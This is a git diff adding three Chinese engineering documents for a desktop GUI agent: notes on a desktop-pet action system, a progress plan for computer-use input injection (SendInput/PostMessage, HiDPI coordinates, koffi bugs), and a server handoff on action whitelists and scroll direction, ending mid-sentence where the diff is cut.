diff --git a/DESKTOP-PET-NOTES.md b/DESKTOP-PET-NOTES.md new file mode 100644 index 00000000..a18f539e --- /dev/null +++ b/DESKTOP-PET-NOTES.md @@ -0,0 +1,229 @@ +# 桌宠动作系统：Coopanion 拆解与可借鉴点 + +> 来源：`Pal-AI-Lab/Coopanion`（本机 clone 于 `/tmp/coop`） +> 相关包：`packages/cortico-world-desktop-pet/` +> +> 本文只记录**桌宠的动作/表情/互动系统**，以及本仓（HomeAgent GUI）可借鉴什么。 +> 输入注入层（SendInput）的对比见 `GUI-PLAN.md` 与下文第七节。 + +--- + +## 一、它是什么 + +一个 C 形小生物，站在屏幕底边（任务栏上沿）。**用户看得见它的身体，看不见 agent 的消息正文** —— +想让用户看到内容，只能通过它冒气泡。 + +这句话是整个设计的关键： + +> 桌宠身体是 agent 的**唯一可见输出通道**，而不是装饰。 + +这和我们 GUI 的定位不同：我们的 mascot 只是「agent 光标」，不承载信息。这是一个可以借的点。 + +--- + +## 二、核心工具（4 个） + +| 工具 | 作用 | 关键设计 | +|---|---|---| +| `pet_say` | 头顶冒气泡说话 | 脚本里可夹带**动作标记**，边说边做 | +| `pet_ask` | 冒提问气泡 + 最多 3 个选项 | **立即返回**，回答通过 `[回答]` 事件异步送达 | +| `pet_walk_to` | 沿屏幕底边走到某处 | 目标是 0–1 比例或 `left/center/right/cursor` | +| `pet_act` | 不说话，只做一串动作 | `sit`/`sleep` 会**持续**到下个动作 | + +### 值得注意的三个设计 + +1. **`pet_ask` 是异步的**。agent 提完问不阻塞，用户答了再通过事件唤醒。 + 避免 agent 干等，也允许用户先不答。 + 实用细节：新问题会**替换**还没回答的旧问题；关掉不答也会回一个事件， + agent 不会永远等下去。 + +2. **`pet_walk_to` 支持 `cursor`** —— 走到鼠标当前横向位置。 + 这是个很自然的"到我这儿来"表达，不需要坐标。 + +3. **`sit`/`sleep` 是持续态**，其他动作是一次性。 + 这让 agent 能表达"待机"与"我在休息"，而不只是瞬间动画。 + +--- + +## 三、动作词表（`src/script.ts` 的 `VOCAB`） + +它把动作分成两类：**表情**（持续几秒后回到平常脸）与**动作**。 + +### 表情（expression，10 个） + +| id | 中文 | 表现 | +|---|---|---| +| `neutral` | 平静 | 默认的脸 | +| `happy` | 开心 / 高兴 | 眼睛弯成 ^ ^ | +| `wink` | 眨眼 | 一只眼 ^ | +| `love` | 喜欢 / 爱心 | 眼睛变心形，冒小心心 | +| `shy` | 害羞 | 脸红，眼神躲开 | +| `surprised` | 惊讶 / 吃惊 | 眼睛放大，头顶感叹号 | +| `angry` | 生气 | 皱眉，头顶怒气符号，身体发抖 | +| `sad` | 难过 / 伤心 | 八字眉，掉眼泪 | +| `sleepy` | 犯困 / 困 | 眯眼打哈欠 | +| `thinking` | 思考 / 想想 | 眼睛往上看，头顶冒圈 | + +### 动作（motion，13 个） + +| id | 中文 | 表现 | +|---|---|---| +| `stand` | 站起 / 站 | 站起来（坐着、睡着时） | +| `jump` | 跳 / 跳起来 | 原地起跳 | +| `hop` | 小跳 / 蹦 | 小小蹦一下 | +| `look` | 张望 / 看看 | 左右张望 | +| `turn` | 转身 | 转向另一边 | +| `nod` | 点头 | 点两下头 | +| `shake` | 摇头 | 摇头 | +| `spin` | 转圈 | 原地转一圈 | +| `sit` | 坐下 / 坐 | **坐下，持续到下个动作** | +| `sleep` | 睡觉 / 睡 | **躺下睡觉，持续到下个动作** | +| `dizzy` | 晕 / 转晕 | 头晕眼花几秒 | +| `walk` | 走走 / 散步 | 随便走一段 | +| `run` | 跑 / 跑起来 | 跑到屏幕另一头 | + +### 词表设计的可借鉴处 + +- **每个词有多个中文别名**（`开心`/`高兴` 同一个 id）。LLM 输出自然语言时容错率更高。 +- **英文 id 与中文别名都进同一张 Map**（`BY_WORD`），不区分来源。 +- **未知词被丢弃而非报错**（`dropped` 数组收集但不中断）。 + 对 LLM 输出的容错策略，值得学。 +- 词表通过 `pet.vocab` 变量**注入到 prompt**，让模型知道能做什么 —— + 而不是把 30 个动作硬编码进 tool schema 的 enum。 + +--- + +## 四、脚本标记（说明与动作混排） + +`pet_say` 的 `script` 参数里可以夹带两种标记： + +| 标记 | 作用 | +|---|---| +| `【词, 词】` | 先做这些动作，然后**换一个新气泡**继续说 | +| `<词>` | 打字打到这里时做，**不换气泡** | + +示例（源码里的原例）： + +``` +【开心】今天也辛苦啦!<眨眼>要不要歇一会儿? +``` + +这个设计解决了一个真实问题：**让文字与动作在时间轴上对齐**。 +`<眨眼>` 落在句子中间，让"眨眼"发生在念到那个字的时候，而不是整句之前。 +比"先做动作再说话"生动得多，实现成本却很低（解析时切分即可）。 + +相关实现：`parseScript` / `parseActions` / `estimateSeconds`（`src/script.ts`）， +`estimateSeconds` 用于让回执报告"大约显示多久"。 + +--- + +## 五、自主行为与互动 + +### 待机（没有指令时） + +> 没收到指令时身体会自己眨眼、张望、散步、坐下打盹；你的指令会先执行。 + +注意最后半句：**agent 指令优先于自主行为**。自主行为是填充，不是竞争。 + +### 用户互动（事件形式回给 agent） + +| 事件 | 含义 | +|---|---| +| `[语音] 用户:…` | 麦克风听到并转写的话（可能同音错字） | +| `[打字] 用户:…` | 在桌宠上双击或点悬停按钮打的字 | +| `[回答] …` | 对 `pet_ask` 的回答 | +| `[互动] …` | 戳、摸、拎起来甩出去，以及落地摔晕 | + +细节值得注意： + +- 互动事件**不单独唤醒 agent**，"跟着下一批事件到，可能已经过去一会儿" + —— 避免用户随手一戳就把模型叫起来烧钱。 +- `asleep` 状态下被摸，文案不同（`摸了摸睡着的你`）。 + 状态影响事件语义，而不只是影响动画。 + +--- + +## 六、对本仓（HomeAgent GUI）的可借鉴点 + +### 6.1 可以借鉴（成本低、收益明确） + +| 点 | 现状 | 建议 | +|---|---|---| +| **动作与文字时间轴对齐**（`【】`/`<>`） | 我们的 mascot 只有移动/点击两种状态 | 若要表达"思考/等待/出错"，可引入轻量标记 | +| **姿态表达状态** | 「忙碌呼吸」一种 | 可区分：思考中(转圈)、等待用户(张望)、出错(晕) | +| **持续态 vs 一次性**（`sit`/`sleep`） | 无持续态 | agent 空闲/被禁用时用持续态表达，而非静止 | +| **LLM 输出容错**（未知词丢弃不报错） | 未处理 | 动作解析应容错，不能因一个错词整条失败 | +| **待机自主行为** | 无 | 光标闲置时可轻微眨眼/呼吸，让"活着"可感知 | + +### 6.2 不建议照搬 + +| 点 | 原因 | +|---|---| +| **桌宠承载全部对话输出** | 我们是桌面客户端，有完整聊天界面，不该退化到只能冒气泡 | +| **语音输入（ASR）** | 与本期目标无关，且引入麦克风权限问题 | +| **戳/摸/甩出去** | 需要模型 + 物理引擎，投入产出比低 | +| **`pet.vocab` 注入 prompt** | 我们没把 mascot 交给 LLM 控，动作由 computeruse 隐式驱动 | + +### 6.3 一个更重要的判断 + +**Coopanion 的桌宠和我们的"独立光标"解决的是不同问题：** + +- 它的桌宠 = **输出通道**（让用户看见 agent 想说什么） +- 我们的 mascot 光标 = **过程指示**（让用户看见 agent 在操作哪里） + +两者不冲突，甚至可以合并 —— 让我们的 mascot 在 agent 思考时表现"思考"姿态， +在执行 computeruse 时表现"移动/点击"。这正是 6.1 表格里那几条的价值所在。 + +--- + +## 七、接口层对比（顺带记录，详见 GUI-PLAN.md） + +它和我们在**输入注入**上的关键分歧： + +| | Coopanion | 本仓（HomeAgent GUI） | +|---|---|---| +| 注入 API | `SendInput` | `SendInput`（默认）/ `PostMessage`（可选） | +| 能否操作 Chromium/游戏 | ✅ 能 | ✅ 能（sendinput 模式） | +| 是否移动真实光标 | ✅ 会移动 | ✅ 会移动（sendinput）/ ❌ 不动（overlay） | +| 用户操作时 | 等待空闲再注入 | 等待空闲再注入（**借鉴自它**） | +| 自绘光标 | ❌ 没有 | ✅ 有（mascot + 点击脉冲） | + +### 从它学到的关键一条 + +`GetLastInputInfo` 是**全局**的 —— agent 自己的 `SendInput` 也会被算作"用户输入"。 +若不排除自己的注入，`idleMs()` 每次注入后归零，于是**永远处于"用户正在操作"状态**， +所有命令都被暂缓。 + +它的做法（我们已照此实现）是三重判定： + +1. `ownTick` —— 自己最后一次注入的时刻，之后 40ms 内的输入忽略 +2. `ownCursor` —— 自己放下的光标位置，偏离 >2px 说明是用户动的 +3. 无符号差值 —— `GetTickCount` 每 2^32 ms 回绕，必须按无符号比较 + +这个坑我们实测踩到了（`deferMs:0` 仍被暂缓），教训已写进 `agent-inject.js` 注释。 + +--- + +## 八、其他独立印证 + +Coopanion 独立印证了我们上一轮的两个判断： + +1. **坐标就是物理像素，不要换算** —— 它注释明写： + > All coordinates are physical pixels of the primary display. The process declares + > itself per-monitor DPI aware (v2) before anything else, so no API here returns scaled values. + + 我们曾错误地加了 `/scaleFactor`，已改回并在判据中钉住。 + +2. **必须显式声明 DPI 感知** —— 它显式调用 `SetProcessDpiAwarenessContext(-4)`， + 并注明 "before anything else"。我们是**依赖 Electron 默认值**，未显式设。 + 虽然 Electron 默认已是 per-monitor aware，但显式声明更稳。**建议补上**（见待办）。 + +--- + +## 九、待办（由本文档派生） + +- [ ] `main.js` 显式调用 `SetProcessDpiAwarenessContext(-4)`，不依赖 Electron 默认值 +- [ ] 修 `deferMs` 配置读取不生效的问题（实测 `deferMs:0` 仍走 3000ms 默认） +- [ ] mascot 增加姿态：思考 / 等待 / 出错（参考第三节词表） +- [ ] 动作解析容错：未知动作丢弃而非整条失败 +- [ ] （可选）mascot 待机自主行为：闲置时轻微眨眼/呼吸 \ No newline at end of file diff --git a/GUI-PLAN.md b/GUI-PLAN.md new file mode 100644 index 00000000..1604ddc8 --- /dev/null +++ b/GUI-PLAN.md @@ -0,0 +1,334 @@ +# GUI 改造计划与进度 + +> 本文件是 GUI（`cmd/gui`）当前改造的**单一事实来源**：做完了什么、为什么这么做、 +> 哪些结论是实测得到的、哪些还没做完。 +> +> 相关文档： +> - `cmd/gui/DESIGN-NOTES.md` —— 借鉴 PiDeck 的设计与实现 +> - `SERVER-HANDOFF.md` —— 需要服务端同步配合的部分 +> - 判据：`cmd/gui/*.test.mjs`，`npm test` 全绿为准（当前 127 条） + +--- + +## 一、当前状态 + +分支：`feature/gui-starmap-pulse-vendor-align`（不合入 main） + +最近提交： + +| commit | 内容 | +|---|---| +| `02566f3` | 修启动期误判服务端未启动；keybd_event 类型名致组合键全废 | +| `0d8b129` | computeruse 补高级操作（两端 9→18）；修 HiDPI 坐标；记录 PiDeck 借鉴 | +| `3059c99` | 加载动画改三点式 + 新增系统通知 | + +判据：`cd cmd/gui && npm test` —— **127 条全绿**（其中 `computeruse.test.mjs` 43 条）。 + +--- + +## 二、已完成 + +### 2.1 computeruse 能力面：9 → 18 个动作 + +此前 GUI 侧（`cmd/gui/main.js`）与 waiter 侧（`cmd/waiter/device.go`）都只有 +9 个基础动作，与业界 computer-use 的基本盘差距明显。 + +GUI 侧现支持 **18 个**（已用脚本从 `main.js` 的 `case "computeruse"` 块精确提取核对）： + +``` +click doubleclick rightclick middleclick tripleclick +move hover drag mousedown mouseup +scroll keypress hotkey combo +type wait sleep display +``` + +waiter 侧（Linux）为 **20 个** —— 比 GUI 多 `middle`、`right` 两个 +「button 简写形式」，少 `physical` 相关处理；其余一致。 + +要点： + +- **拖拽分步移动**（默认 12 步，上限 60）。一步到位会让 canvas 拖拽、列表排序、 + 滑动条失效 —— 这类应用依赖中间 `mousemove` 事件。 +- **组合键归一化**（waiter 侧 `normKeySpec`）。旧实现把模型给的 key 字符串原样丢给 + `xdotool key`，于是 `"Ctrl+C"`、`"ctrl + c"`、`"CTRL-C"` **全部失效**。 +- **`type` 加 `--clearmodifiers`**（waiter 侧）。避免残留的 Ctrl/Alt 把后续输入 + 变成快捷键。 +- **scroll 修正**（两端）。旧实现固定滚 `click 4/5`，忽略方向语义也不支持横向。 + +### 2.2 修 HiDPI 坐标错位 ⚠️ 重要，详见第五节 + +截图给模型的是**物理像素**，Win32 坐标 API 在 Electron 里也是物理像素， +**不需要换算**。详见第五节的实测与踩坑记录。 + +### 2.3 修启动期误判「服务端未启动」 + +`isServerRunning()` 原硬编码 `http://localhost:8080/`。实测该部署下： + +``` +localhost:8080 -> 000 连不上 +192.168.2.60:8080 -> 302 正常（homed 跑在 WSL 里） +``` + +于是每次启动都：探测失败 → 误判服务没起 → 拉起 GUI 旁并不存在的 `homed.exe` +→ 干等 8s 超时 → 打印 `homed failed to start within timeout`。 +该 ERR 曾累计出现数十次（实测 40+ 次，日志轮转后计数会变）， +且是 `gui.log` 里唯一的错误项。 + +改法：按 `connections.json` 里已配置的连接（当前优先）探测，命中即在线； +服务可达时跳过 homed 自动拉起；无本地 homed 可执行文件时不再空等超时。 + +实测验证：修复后启动日志为 `server reachable, skip homed autostart`，该 ERR 消失。 + +> 这条很可能就是此前「聊天链路有问题」的根因 —— GUI 自以为服务端由自己托管， +> 实际聊天依赖的是 `connections.json` 里的连接。 + +### 2.4 修 keybd_event 类型名致组合键全废 + +koffi 不认 Win32 头文件里的 `byte`： + +``` +"void keybd_event(byte bVk, ...)" -> Error: Unknown or invalid type name 'byte' +"void keybd_event(uint8 bVk, ...)" -> 正常 +``` + +原代码用的正是 `byte`，且整段包在**空 catch** 里，于是 `keybd_event` 恒为 null， +所有组合键返回 `keybd_event unavailable`。 + +这个 bug 极难发现：单键 click/move/scroll 走 `mouse_event`，完全不受影响。 +现在签名解析失败会打日志，不再静默。 + +### 2.5 模式 A：agent 独立光标 + 后台注入（**代码已通，效果待验证**） + +见第三节。 + +--- + +## 三、模式 A：agent 独立光标（进行中） + +### 3.1 目标 + +现有 `computeruse` 走 `SetCursorPos` + `mouse_event`，**会抢走用户的真实鼠标**， +agent 一干活用户就没法用电脑。 + +模式 A 的目标：GUI 自绘一个 agent 专属光标（mascot 形象），实际输入通过 +`PostMessage` 直接投递到目标窗口句柄，**用户真实鼠标全程不动**。 + +### 3.2 新增文件 + +| 文件 | 职责 | +|---|---| +| `cmd/gui/agent-cursor.js` | 透明置顶层窗口 + mascot 指针 + 移动/点击脉冲动画；记录上次命中的窗口句柄 | +| `cmd/gui/agent-inject.js` | 两种注入路径：`SendInput`（默认）与 `PostMessage`（后台）；含用户活动感知 | + +### 3.3 配置 + +`gui-prefs.json` → `deviceBridge.agentCursor`： + +| 键 | 值 | 行为 | +|---|---|---| +| `mode` | `"sendinput"` | **默认**。`SendInput` 注入系统输入队列，可靠性高（Chromium/游戏都能操作）。代价：会移动真实光标，故先等用户停手 | +| `mode` | `"overlay"` | `PostMessage` 直投窗口句柄。用户鼠标纹丝不动，但自绘界面常忽略合成消息 | +| `mode` | `"real"` | 保留旧代码路径（兼容） | +| `deferMs` | 数字 | 用户活动时最多等多久（默认 3000，上限 10000）。0 = 不等待 | + +> 为什么默认改成 `sendinput`：用户要求「可靠 + 用户正在操作则暂缓」。 +> 参考 `Pal-AI-Lab/Coopanion`（见 `DESKTOP-PET-NOTES.md` 第七节）。 +> +> ⚠ 实测发现：`GetLastInputInfo` 是**全局**的，agent 自己的 `SendInput` +> 也会被算作「用户输入」，若不排除则**永远处于「用户正在操作」状态**。 +> 已按 Coopanion 的三重判定修正（ownTick / ownCursor / 无符号差值）。 + +### 3.4 已验证（端到端） + +用假网关（自实现 WS 服务端）下发 computeruse 命令，GUI 执行并回执。 +两轮合计： + +**overlay（PostMessage）路径**：8/8 有响应，错误处理正确 —— +无窗口时报「WindowFromPoint 返回空」，而不是静默回退到真实鼠标。 + +**sendinput 路径**（当前默认）：8/8 有响应，回执形如 +`sendinput click @ (300,300)` / `sendinput typed 2 chars` / +`sendinput drag (100,100) -> (400,300)`。 + +### 3.5 ⚠️ 未完成：真实点击效果未验证 + +当前执行环境**没有可供注入的可见目标窗口** +（`WindowFromPoint` 对所有坐标返回 null，`GetCursorPos` 读回 0,0）。 + +**因此：「点击真的落到目标窗口上」这一步尚未被证明。** 需要在有交互桌面的 +会话里跑一个端到端测试： + +> 打开记事本 → agent 点它 → 输入文字 → 截图回读验证 + +同时验证「`overlay` 模式下用户鼠标位置在全过程未变」。 + +### 3.6 设计取舍（明确的边界） + +- **两种注入的适用范围不同**： + - `sendinput`（默认）：注入系统输入队列，等价真实硬件事件。 + Chromium/Electron 自绘界面、多数游戏都能接收 —— **可靠**。 + 代价：会移动用户真实光标，故先等用户停手（`deferMs`）。 + - `overlay`：`PostMessage` 直投窗口句柄，用户鼠标纹丝不动。 + 但自绘界面常忽略合成消息 ⇒ 只能操作原生 Win32 程序。 + + > 本仓曾把「自绘界面点不动」写成「Windows 消息模型的硬限制」—— + > **那个说法是错的**，它只是 `PostMessage` 这条 API 的限制。 + > 用 `SendInput` 就不受此限（参考 Coopanion）。 + +- **不做静默降级**。无论哪种模式，失败即 `status=error` 并说明原因， + 不会自作主张换成另一种注入方式。 +- **`sendinput` 模式下用户正在操作会暂缓**（而不是硬抢）： + 轮询等到用户空闲，超时则跳过本次操作并报错。 + 已在 `agent-inject.js` 中排除「自身注入被误判为用户操作」的陷阱。 +- **`overlay` 模式下键盘类动作依赖先前的鼠标操作**。 + `keypress`/`hotkey`/`type` 不带坐标，而该模式不移动真实光标， + 所以 `GetCursorPos` 拿到的是**用户自己**的光标位置； + 故记录「上次鼠标操作命中的 hwnd」，键盘动作投递到那里。从未点过则报错。 + +### 3.7 跨平台状态 + +| 平台 | 状态 | +|---|---| +| Windows | 已实现（sendinput 默认 / overlay 可选；真实效果待验证） | +| Linux | waiter 侧仍是 `xdotool`，**会动真鼠标**。未做独立光标 | +| macOS | 同上 | + +--- + +## 四、待办 + +### 4.1 优先：修 `deferMs` 读取不生效 + +实测：`gui-prefs.json` 里 `agentCursor.deferMs = 0`，但命令仍按默认 3000ms +暂缓（回执写「已等待 3000ms」）。`loadGuiPrefs()` 会重建对象且**不透传 +`agentCursor` 字段**，导致读取永远拿到默认值。 + +- [ ] `loadGuiPrefs()` 透传 `deviceBridge.agentCursor` +- [ ] 判据：配置 `deferMs:0` 时不得进入暂缓路径 + +### 4.2 验证 sendinput 的真实效果 + +当前环境无可注入的可见目标窗口（`WindowFromPoint` 恒返回 null， +`GetCursorPos` 读回 0,0），故「点击真的落到目标窗口上」尚未证明。 + +- [ ] 端到端测试：打开真实应用 → 点它 → 输入 → 截图回读 +- [ ] 断言：`overlay` 模式下全过程用户鼠标位置未变 +- [ ] 判据：固化进 `npm test`（需能在无桌面 CI 环境跳过） + +### 4.3 服务端配合（详见 `SERVER-HANDOFF.md`） + +- [ ] 放开 `device.go` 的 action 白名单（schema enum + switch default 双重限制） +- [ ] 透传新参数 `tox`/`toy`/`steps`/`dx`/`ms`/`physical` +- [ ] 统一 scroll 方向语义（服务端写「正=向下」，Windows 惯例是正=向上） +- [ ] 把坐标约定写进注释（防重蹈 `/scale` 覆辙） + +> ⚠ 不改白名单，则新增的 11 个动作**根本下发不到设备**。 + +### 4.4 设置页 + +- [ ] `agentCursor.mode` / `deferMs` 的 UI（目前只能手改 `gui-prefs.json`） + +### 4.5 可选增强（详见 `DESKTOP-PET-NOTES.md` 第六、九节） + +- [ ] `main.js` 显式调 `SetProcessDpiAwarenessContext(-4)`，不依赖 Electron 默认值 +- [ ] mascot 姿态：思考 / 等待 / 出错 +- [ ] 动作解析容错：未知动作丢弃而非整条失败 +- [ ] mascot 待机自主行为：闲置时轻微眨眼/呼吸 +- [ ] Linux 侧若也要「不抢鼠标」，需 Wayland + uinput 虚拟设备 + （X11 下做不到 —— XTEST 合成的是真实设备事件） + +### 4.6 其它已定位但未修 + +- [ ] `overlay` 模式下键盘类动作「必须先点过」的限制可放宽： + 可改为「取当前前台窗口」作为兵底，而不是直接报错。 +- [ ] `real` 模式与 `sendinput` 模式代码重叠较多，可考虑合并； + 目前保留 `real` 仅为兼容旧路径，实际上与 `sendinput` 行为重复。 +- [ ] `p3.js` / `p4.js` 是本轮遗留的临时补丁脚本（未被跟踪）， + 确认无价值后删除，避免占坑。 + +--- + +## 五、坐标空间：实测结论与踩坑记录 ⚠️ + +**结论：截图给模型的像素、Win32 坐标 API 的坐标，是同一个坐标系 —— 物理像素。 +不要换算。** + +实测证据（Electron 主进程内，192 DPI / 200% 缩放屏）： + +``` +Electron screen API (DIP) : 1260 x 840 scaleFactor=2 +GetSystemMetrics : 2520 x 1680 +SetCursorPos(200,200) → GetCursorPos 读回 (200,200) ← 恒等，不缩放 +``` + +原因是 Electron 主进程是 **per-monitor DPI-aware**，此感知下 Win32 坐标不做虚拟化。 + +### 踩坑：曾经加错的 `/scaleFactor` 换算 + +本仓曾在 `main.js` 加过： + +```js +absX = ox + rawX / scaleFactor // ← 错的 +``` + +理由是「SetCursorPos 期望 DIP」—— **那个前提不成立**，DIP 行为只出现在 +DPI-*unaware* 进程里。加了之后反而把原本正确的点击改坏：200% 缩放屏上 +点 (600,400) 会被送到 (400,267)，**越靠右下偏得越远**。 + +已改回 `physical ? rawX : rawX * scale`，并在 `computeruse.test.mjs` 加判据 +防止回退（检测 `/scale` 是否回来了）。 + +### 为什么会误判（重要） + +**在普通 node 进程里测同一个函数，读到的是 1260×840**（虚拟化后的值）， +会让人以为 Win32 用 DIP。**必须在 Electron 内测** —— 同一份代码， +不同进程的 DPI 感知状态不同，答案也不同。 + +同理，`python`/`go` 等非 DPI-aware 宿主里测同样不可作为依据。 + +--- + +## 六、端到端测试方法（可复用） + +不依赖真实服务端，用自实现的假网关驱动 GUI： + +1. 起一个最小 WS 服务端（自实现 HTTP `Upgrade` 握手 + 帧编解码） +2. 改写 `gui-prefs.json` 指向它，并置 `deviceBridge.authorized = true` +3. 启动 GUI，等 `hello` / `bind` 完成 +4. 下发 `{op:"cmd", cmd_type:"homeagent", command:"computeruse {...}"}` +5. 读取 GUI 回的 `{op:"cmd_result", status, output, error}` + +### 两个踩过的坑 + +- **服务端→客户端的帧不能加掩码。** RFC 6455 只要求客户端→服务端掩码。 + 照抄 GUI 主进程（客户端方向）的 `sendDeviceFrame` 会导致 GUI 解不出。 +- **客户端→服务端的帧是掩码的**，解帧时必须先解掩码。 + +--- + +## 七、koffi 3.x 使用约定（踩坑记录） + +| 事项 | 正确做法 | 错误做法 / 现象 | +|---|---|---| +| 类型名 | `uint8` / `int32_t` / `long` | `byte` → `Unknown or invalid type name` | +| 指针参数 | 传 **Node `Buffer`** | 传普通 JS 对象 → **不写回**，读回仍是原值 | +| 结构体 | `koffi.struct(name, {...})` 后传普通对象 | 重复 `koffi.struct("POINT")` → `Duplicate type name` | +| 字符串 | `Buffer.from(s + "\0", "utf16le")` | `koffi.alloc(str)` 把 str 当**类型名** | + +**指针参数必须用 Buffer** 这条尤其重要：`WindowFromPoint` 若用普通对象， +会拿不到真实 hwnd ⇒ 点击落到错误窗口上。 + +跨进程/跨模块重复声明同名结构体会抛 `Duplicate type name`，需 try/catch 换名注册。 + +--- + +## 八、环境注意事项 + +- 本仓库文件多为 **CRLF**。用 Node 脚本打补丁时先 `replace(/\r\n/g, "\n")` 处理， + 写回时按原行尾还原。 +- `git status` 会把大量文件标成 `M`，但 `git diff --numstat` 显示 `0 0` + —— 那是 CRLF 归一化噪声，不是真实改动。**提交前用 `--numstat` 甄别。** +- 本机没有 Go 工具链（`go: command not found`），`cmd/waiter/` 的改动 + **未经过编译验证**，需在有 Go 环境的机器上 `go build ./cmd/waiter` 确认。 +- 本会话多数为无头/无交互桌面环境，`WindowFromPoint` / 真实光标相关行为 + **无法在此验证**，需在有桌面的会话实测。 diff --git a/SERVER-HANDOFF.md b/SERVER-HANDOFF.md new file mode 100644 index 00000000..0b6de915 --- /dev/null +++ b/SERVER-HANDOFF.md @@ -0,0 +1,294 @@ +# 服务端交接：computeruse 协议对齐 + +> 面向服务端接手人。本文档描述 GUI 侧已完成的改动，以及**服务端必须同步修改**的部分。 +> 修改范围集中在 `internal/plugins/remotedevice/`（`device.go`）。 +> GUI 侧代码与判据见 `cmd/gui/`。 + +--- + +## 一、为什么需要这份文档 + +GUI 侧把 `computeruse` 从 9 个基础动作扩到 **18 个**，并新增了**模式 A（agent 独立光标 + 后台注入）**。 +但服务端 `device.go` 目前对 `action` 做了**两重硬限制**，导致新增能力根本下发不到设备： + +1. **JSON Schema 的 `enum`**（`device.go:129`）—— 7 个值之外直接被 schema 校验拒绝 +2. **`switch` 的 `default` 分支**（`device.go:471`）—— 返回「不支持的操作类型」 + +所以：**即使 GUI 已实现，服务端不改则新功能等于不存在。** + +--- + +## 二、必做项 1：放开 action 白名单 + +### 现状 + +```go +// device.go:129 —— schema enum，只有 7 个 +"enum": []interface{}{"click", "doubleclick", "rightclick", "move", "scroll", "keypress", "type"}, +``` + +```go +// device.go:471 —— default 直接报错 +default: + return nil, fmt.Errorf("不支持的操作类型 %s（可选 click/doubleclick/rightclick/move/scroll/keypress/type）", action) +``` + +### 需要改成 + +GUI 侧实际支持的 18 个 action（判据同源，`cmd/gui/computeruse.test.mjs` 会校验两端一致）： + +``` +click doubleclick rightclick middleclick tripleclick +move hover drag mousedown mouseup +scroll keypress hotkey combo +type wait sleep display +``` + +建议在 `device.go` 里提取成单一常量，schema 与 switch 共用，避免两处漂移： + +```go +// computeruseActions 是设备端支持的完整动作集合。 +// ★ 必须与 cmd/gui/main.js 的 computeruse switch 保持一致； +// cmd/gui/computeruse.test.mjs 会校验 GUI 侧包含这些动作。 +var computeruseActions = []string{ + "click", "doubleclick", "rightclick", "middleclick", "tripleclick", + "move", "hover", "drag", "mousedown", "mouseup", + "scroll", "keypress", "hotkey", "combo", "type", + "wait", "sleep", "display", +} +``` + +然后： +- schema 的 `enum` 改为由 `computeruseActions` 生成 +- `switch` 的 `default` 分支的错误信息里列出这份清单 + +### 各动作的语义（供写 tool description 时参考） + +| action | 必需参数 | 说明 | +|---|---|---| +| `click` | `x`,`y` | 可选 `button`（left/right/middle） | +| `doubleclick` | `x`,`y` | | +| `rightclick` | `x`,`y` | 等价 `click` + `button:right` | +| `middleclick` | `x`,`y` | 中键 | +| `tripleclick` | `x`,`y` | 三击选中整行 | +| `move` / `hover` | `x`,`y` | 只移动不点击，用于触发 tooltip | +| `mousedown` / `mouseup` | `x`,`y` | 按下/释放分离，配对可做「按住」 | +| `drag` | `x`,`y`,`tox`,`toy` | 可选 `steps`（默认 12，上限 60） | +| `scroll` | `dy` | 可选 `dx`（横向） | +| `keypress` | `key` | 如 `ctrl+c`、`alt+f4` | +| `hotkey` / `combo` | `key` | 与 keypress 同义 | +| `type` | `text` | | +| `wait` / `sleep` | `ms` | 显式等待，等 UI/动画完成 | +| `display` | — | 返回各显示器 bounds + scaleFactor | + +> ⚠ **`drag` 的分步移动不是可有可无的**：canvas 拖拽、列表排序、滑动条 +> 这类应用依赖中间 `mousemove` 事件，一步到位会失效。所以 `steps` 建议透传。 + +--- + +## 三、必做项 2：透传新参数 + +### 现状 + +`device.go` 的 `switch action`（第 439 行起）只转发这些： + +```go +params["x"], params["y"], params["button"] +params["dy"] +params["key"] +params["text"] +``` + +其余参数**被静默丢弃**，即使 LLM 传了也到不了设备。 + +### 需要补上 + +| 参数 | 哪些动作需要 | 缺失后果 | +|---|---|---| +| `tox` / `toy` | `drag` | 拖拽终点丢失，拖不动 | +| `steps` | `drag` | 退化成一步到位，拖拽排序类操作失效 | +| `dx` | `scroll` | 横向滚动不可用 | +| `ms` / `duration` | `wait` / `sleep` | 等待时长不可控 | +| `button` | `hover`/`mousedown`/`mouseup`/`tripleclick` | 中键/右键按不下 | +| `physical` | 全部坐标类 | 无法声明坐标系（见第五节） | + +建议实现（保持与现有风格一致）： + +```go +// 透传辅助：从 args 取整数键，缺省则不写入 params。 +func putInt(params map[string]interface{}, args map[string]interface{}, key string) { + if v, ok := args[key].(float64); ok { + params[key] = int(v) + } +} +``` + +在 `switch` 之后统一补一遍（避免每个 case 重复）： + +```go +for _, k := range []string{"tox", "toy", "steps", "dx", "ms", "duration", "physical"} { + putInt(params, args, k) +} +``` + +> ⚠ `physical` 的类型是布尔或字符串都可能，取决于 LLM 怎么填。 +> 建议 schema 里显式声明 `"type": "boolean"`，并在 `putInt` 之外单独处理。 + +--- + +## 四、必做项 3：统一 scroll 方向语义 ⚠️ + +### 现状：两侧约定相反 + +**服务端**（`device.go:130`）： + +```go +"dy": map[string]interface{}{"type": "integer", "description": "scroll 滚动量：正=向下，负=向上"}, +``` + +**GUI / Windows 惯例**：正 = 向上。 + +这不是笔误级的小问题——**方向反了会让 agent 在页面上滚到完全相反的位置**， +且因为「能滚」，不会报错，只会静默地做错事，比崩溃更难发现。 + +### 建议 + +统一为 **Windows 惯例：正 = 向上，负 = 向下**（与鼠标滚轮一致，也与 GUI 实现一致）。 +改 schema description： + +```go +"dy": map[string]interface{}{ + "type": "integer", + "description": "scroll 垂直滚动量：正=向上滚，负=向下滚（与鼠标滚轮方向一致）。可选 dx 做横向滚动，正=向右", +}, +``` + +GUI 侧对应实现（`cmd/gui/main.js`）已按此约定，无需改动。 + +> 如果服务端坚持保留「正=向下」，则必须**同步改 GUI**，否则两侧永远对不上。 +> 二选一，但必须写进注释并进判据。 + +--- + +## 五、建议项：把坐标约定写进注释（防重蹈） + +这条不是功能需求，而是**防止后来人再犯同一个错**——我本人就在这一轮犯过。 + +### 事实 + +**截图给模型的像素、Win32 坐标 API 的坐标，是同一个坐标系：物理像素。不要换算。** + +实测证据（Electron 主进程内，192 DPI / 200% 缩放屏）： + +``` +Electron screen API (DIP) : 1260 x 840 scaleFactor=2 +GetSystemMetrics : 2520 x 1680 +SetCursorPos(200,200) → GetCursorPos 读回 (200,200) ← 恒等，不缩放 +``` + +原因是 Electron 主进程是 **per-monitor DPI-aware**，此感知下 Win32 坐标不做虚拟化。 + +### 曾经的坑 + +本仓曾在 `cmd/gui/main.js` 加过： + +```go +absX = ox + rawX / scaleFactor // ← 错的 +``` + +理由是「SetCursorPos 期望 